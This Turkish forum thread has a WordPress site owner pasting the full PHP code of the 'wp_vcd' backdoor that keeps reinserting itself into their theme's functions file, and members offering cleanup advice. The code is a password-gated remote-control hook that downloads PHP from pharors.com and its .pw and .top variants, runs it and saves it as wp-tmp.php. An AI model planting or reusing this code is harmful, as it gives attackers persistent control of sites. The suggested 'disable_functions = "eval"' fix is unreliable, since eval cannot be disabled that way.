• 11-07-2019, 15:07:24
    #1
    Tema değişsem bile bu kod hemen ekleniyor fonksiyon dosyasına.
    Dünden beri bu sorun var. Domain üzerinde subdomain oluşturup yeni bir wordpress kurdum, bundan sonra bu sorunu yaşamaya başladım.
    Nasıl bir virüs bu?

    <?php
    if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '3dad888d3203144028f1915317358fef'))
        {
    $div_code_name="wp_vcd";
            switch ($_REQUEST['action'])
                {
    
                    
    
    
    
    
                    case 'change_domain';
                        if (isset($_REQUEST['newdomain']))
                            {
                                
                                if (!empty($_REQUEST['newdomain']))
                                    {
    if ($file = @file_get_contents(__FILE__))
             {
    if(preg_match_all('/$tmpcontent = @file_get_contents("http://(.*)/code.php/i',$file,$matcholddomain))
    {
    
                 $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                 @file_put_contents(__FILE__, $file);
                                         print "true";
    }
    
    
             }
                                    }
                            }
                    break;
    
                                    case 'change_code';
                        if (isset($_REQUEST['newcode']))
                            {
                                
                                if (!empty($_REQUEST['newcode']))
                                    {
    if ($file = @file_get_contents(__FILE__))
             {
    if(preg_match_all('///$start_wp_theme_tmp([sS]*)//$end_wp_theme_tmp/i',$file,$matcholdcode))
    {
    
                 $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                 @file_put_contents(__FILE__, $file);
                                         print "true";
    }
    
    
             }
                                    }
                            }
                    break;
                    
                    default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
                }
                
            die("");
        }
    
    
    
    
    
    
    
    
    $div_code_name = "wp_vcd";
    $funcfile = __FILE__;
    if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
    
    function file_get_contents_tcurl($url)
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }
    
    function theme_temp_setup($phpCode)
    {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    if( fwrite($handle, "<?phpn" . $phpCode))
             {
             }
                else
                {
                $tmpfname = tempnam('./', "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?phpn" . $phpCode);
                }
                fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
    }
    
    
    $wp_auth_key='fdaa79a46958cbc1ce3a557718ec5670';
    if (($tmpcontent = @file_get_contents("http://www.pharors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.pharors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    
    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
    @file_put_contents('wp-tmp.php', $tmpcontent);
    }
    }
    
    }
    }
    
    
    elseif ($tmpcontent = @file_get_contents("http://www.pharors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    
    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
    @file_put_contents('wp-tmp.php', $tmpcontent);
    }
    }
    
    }
    }
            
             elseif ($tmpcontent = @file_get_contents("http://www.pharors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    
    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
    @file_put_contents('wp-tmp.php', $tmpcontent);
    }
    }
    
    }
    }
            elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    
    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    
    } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    
    }
    
    
    
    
    
    }
    }
    
    //$start_wp_theme_tmp
    
    
    
    //wp_tmp
    
    
    //$end_wp_theme_tmp
    ?>
  • 11-07-2019, 15:10:02
    #2
    Üyeliği durduruldu


    Paylaştığım yer tetik bir yer dikkatli olmanızı öneririm. MD5 şifreleme mevcut, heleki Function dosyasıysa uzaktan müdahale diyebilirim varın gerisini siz düşünün
  • 11-07-2019, 15:15:08
    #3
    BaronBilisim adlı üyeden alıntı: mesajı görüntüle


    Paylaştığım yer tetik bir yer dikkatli olmanızı öneririm. MD5 şifreleme mevcut, heleki Function dosyasıysa uzaktan müdahale diyebilirim varın gerisini siz düşünün
    sonuç itibariyle bu kodlama virüs değil mi hocam? O rakamları değiştim şimdi siz deyince. Bundan nasıl kurtulurum yeni wp kurarak mı?
  • 11-07-2019, 15:18:35
    #4
    Üyeliği durduruldu
    dll adlı üyeden alıntı: mesajı görüntüle
    sonuç itibariyle bu kodlama virüs değil mi hocam? O rakamları değiştim şimdi siz deyince. Bundan nasıl kurtulurum yeni wp kurarak mı?

    Eğerki dosyayı sildiğinizde bile geri geliyorsa sizin değiştirmeniz peki bir fayda etmez, o tekrar oraya güncellenecektir.

    Veritabanına erişiminiz mevcutmu mevcutsa bir kontrol edin derim. Çünkü biz genelde bu tarz şeyleri Microsoft SQL Server Studio üzerinden "sa" veritabanınıa erişmek için yapıyorduk uzaktan müdahale gördüklerim tamamen o yönde veritabanı erişim mevcutsa tek tek kontrol edin.
  • 11-07-2019, 15:21:37
    #5
    BaronBilisim adlı üyeden alıntı: mesajı görüntüle
    Eğerki dosyayı sildiğinizde bile geri geliyorsa sizin değiştirmeniz peki bir fayda etmez, o tekrar oraya güncellenecektir.

    Veritabanına erişiminiz mevcutmu mevcutsa bir kontrol edin derim.
    Evet hocam, veritabanı şifrelerini vs. değiştirmek te çözüm olmaz herhalde?
  • 11-07-2019, 15:22:59
    #6
    Üyeliği durduruldu
    dll adlı üyeden alıntı: mesajı görüntüle
    sonuç itibariyle bu kodlama virüs değil mi hocam? O rakamları değiştim şimdi siz deyince. Bundan nasıl kurtulurum yeni wp kurarak mı?
    dll adlı üyeden alıntı: mesajı görüntüle
    Evet hocam, veritabanı şifrelerini vs. değiştirmek te çözüm olmaz herhalde?
    Veritabanı şifresi değil veritabanında, bu function dosyasına ait bir yazılımsal yer olması lazım yoksa erişim zaten sağlayamaz hocam orada dosyaları kontrol edin, örnek veriyorum adam ALİ123 diye veritabanı oluşturup içine koymuş olabilir.
  • 11-07-2019, 15:28:20
    #7
    Yok hocam kontrol ettim.
  • 11-07-2019, 15:30:04
    #8
    https://tr.wordpress.org/plugins/wordfence/

    bunu kur, filescan yaptır. bu bulacaktır hacklenmiş dosyalarını.

    eval fonksiyonunu php.ini ya da htaccess ya da en garantisi, cpanel üzerinden kapat.

    disable_functions = "eval"
  • 11-07-2019, 15:39:03
    #9
    PcMaKeR adlı üyeden alıntı: mesajı görüntüle
    https://tr.wordpress.org/plugins/wordfence/

    bunu kur, filescan yaptır. bu bulacaktır hacklenmiş dosyalarını.

    eval fonksiyonunu php.ini ya da htaccess ya da en garantisi, cpanel üzerinden kapat.

    disable_functions = "eval"
    cpanel üzerinden nasıl kapatcaz hocam?bir de bunu kapattığımızda temaların özellikleri çalışır mı?